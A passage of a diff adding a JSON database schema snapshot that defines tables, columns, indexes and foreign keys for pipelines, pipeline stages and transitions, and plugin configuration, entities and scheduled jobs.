+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_documents_company_pipeline_updated_idx": {
+          "name": "pipeline_documents_company_pipeline_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_documents_company_id_companies_id_fk": {
+          "name": "pipeline_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_documents_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_documents_document_id_documents_id_fk": {
+          "name": "pipeline_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_stages": {
+      "name": "pipeline_stages",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "position": {
+          "name": "position",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config": {
+          "name": "config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_stages_pipeline_key_uq": {
+          "name": "pipeline_stages_pipeline_key_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_stages_pipeline_position_idx": {
+          "name": "pipeline_stages_pipeline_position_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "position",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_stages_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_stages_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_stages",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_stages_kind_check": {
+          "name": "pipeline_stages_kind_check",
+          "value": "\"pipeline_stages\".\"kind\" in ('working', 'review', 'done', 'cancelled')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_transitions": {
+      "name": "pipeline_transitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "pipeline_id": {
+          "name": "pipeline_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_transitions_pipeline_edge_uq": {
+          "name": "pipeline_transitions_pipeline_edge_uq",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_from_idx": {
+          "name": "pipeline_transitions_pipeline_from_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "from_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_transitions_pipeline_to_idx": {
+          "name": "pipeline_transitions_pipeline_to_idx",
+          "columns": [
+            {
+              "expression": "pipeline_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "to_stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_transitions_pipeline_id_pipelines_id_fk": {
+          "name": "pipeline_transitions_pipeline_id_pipelines_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipelines",
+          "columnsFrom": [
+            "pipeline_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_from_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_from_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "from_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_transitions_to_stage_id_pipeline_stages_id_fk": {
+          "name": "pipeline_transitions_to_stage_id_pipeline_stages_id_fk",
+          "tableFrom": "pipeline_transitions",
+          "tableTo": "pipeline_stages",
+          "columnsFrom": [
+            "to_stage_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipelines": {
+      "name": "pipelines",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "enforce_transitions": {
+          "name": "enforce_transitions",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipelines_company_key_uq": {
+          "name": "pipelines_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_idx": {
+          "name": "pipelines_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipelines_company_project_idx": {
+          "name": "pipelines_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipelines_company_id_companies_id_fk": {
+          "name": "pipelines_company_id_companies_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipelines_project_id_projects_id_fk": {
+          "name": "pipelines_project_id_projects_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "pipelines_created_by_agent_id_agents_id_fk": {
+          "name": "pipelines_created_by_agent_id_agents_id_fk",
+          "tableFrom": "pipelines",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_company_settings": {
+      "name": "plugin_company_settings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "enabled": {
+          "name": "enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "settings_json": {
+          "name": "settings_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_company_settings_company_idx": {
+          "name": "plugin_company_settings_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_plugin_idx": {
+          "name": "plugin_company_settings_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_company_settings_company_plugin_uq": {
+          "name": "plugin_company_settings_company_plugin_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_company_settings_company_id_companies_id_fk": {
+          "name": "plugin_company_settings_company_id_companies_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_company_settings_plugin_id_plugins_id_fk": {
+          "name": "plugin_company_settings_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_company_settings",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_config": {
+      "name": "plugin_config",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "config_json": {
+          "name": "config_json",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_config_plugin_company_idx": {
+          "name": "plugin_config_plugin_company_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_config_plugin_id_plugins_id_fk": {
+          "name": "plugin_config_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_config_company_id_companies_id_fk": {
+          "name": "plugin_config_company_id_companies_id_fk",
+          "tableFrom": "plugin_config",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_database_namespaces": {
+      "name": "plugin_database_namespaces",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_key": {
+          "name": "plugin_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_name": {
+          "name": "namespace_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "namespace_mode": {
+          "name": "namespace_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'schema'"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_database_namespaces_plugin_idx": {
+          "name": "plugin_database_namespaces_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_namespace_idx": {
+          "name": "plugin_database_namespaces_namespace_idx",
+          "columns": [
+            {
+              "expression": "namespace_name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_database_namespaces_status_idx": {
+          "name": "plugin_database_namespaces_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_database_namespaces_plugin_id_plugins_id_fk": {
+          "name": "plugin_database_namespaces_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_database_namespaces",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_entities": {
+      "name": "plugin_entities",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_kind": {
+          "name": "scope_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "external_id": {
+          "name": "external_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "data": {
+          "name": "data",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_entities_plugin_idx": {
+          "name": "plugin_entities_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_company_idx": {
+          "name": "plugin_entities_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_type_idx": {
+          "name": "plugin_entities_type_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_entities_scope_idx": {
+          "name": "plugin_entities_scope_idx",
+          "columns": [
+            {
+              "expression": "scope_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "scope_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_entities_plugin_id_plugins_id_fk": {
+          "name": "plugin_entities_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_entities_company_id_companies_id_fk": {
+          "name": "plugin_entities_company_id_companies_id_fk",
+          "tableFrom": "plugin_entities",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "plugin_entities_external_idx": {
+          "name": "plugin_entities_external_idx",
+          "nullsNotDistinct": true,
+          "columns": [
+            "company_id",
+            "plugin_id",
+            "entity_type",
+            "external_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_job_runs": {
+      "name": "plugin_job_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "job_id": {
+          "name": "job_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trigger": {
+          "name": "trigger",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "duration_ms": {
+          "name": "duration_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "logs": {
+          "name": "logs",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_job_runs_job_idx": {
+          "name": "plugin_job_runs_job_idx",
+          "columns": [
+            {
+              "expression": "job_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_plugin_idx": {
+          "name": "plugin_job_runs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_company_idx": {
+          "name": "plugin_job_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_job_runs_status_idx": {
+          "name": "plugin_job_runs_status_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "plugin_job_runs_job_id_plugin_jobs_id_fk": {
+          "name": "plugin_job_runs_job_id_plugin_jobs_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugin_jobs",
+          "columnsFrom": [
+            "job_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_plugin_id_plugins_id_fk": {
+          "name": "plugin_job_runs_plugin_id_plugins_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "plugin_job_runs_company_id_companies_id_fk": {
+          "name": "plugin_job_runs_company_id_companies_id_fk",
+          "tableFrom": "plugin_job_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.plugin_jobs": {
+      "name": "plugin_jobs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "job_key": {
+          "name": "job_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schedule": {
+          "name": "schedule",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "last_run_at": {
+          "name": "last_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "next_run_at": {
+          "name": "next_run_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "plugin_jobs_plugin_idx": {
+          "name": "plugin_jobs_plugin_idx",
+          "columns": [
+            {
+              "expression": "plugin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_next_run_idx": {
+          "name": "plugin_jobs_next_run_idx",
+          "columns": [
+            {
+              "expression": "next_run_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "plugin_jobs_unique_idx": {
+          "name": "plugin_jobs_unique_idx",
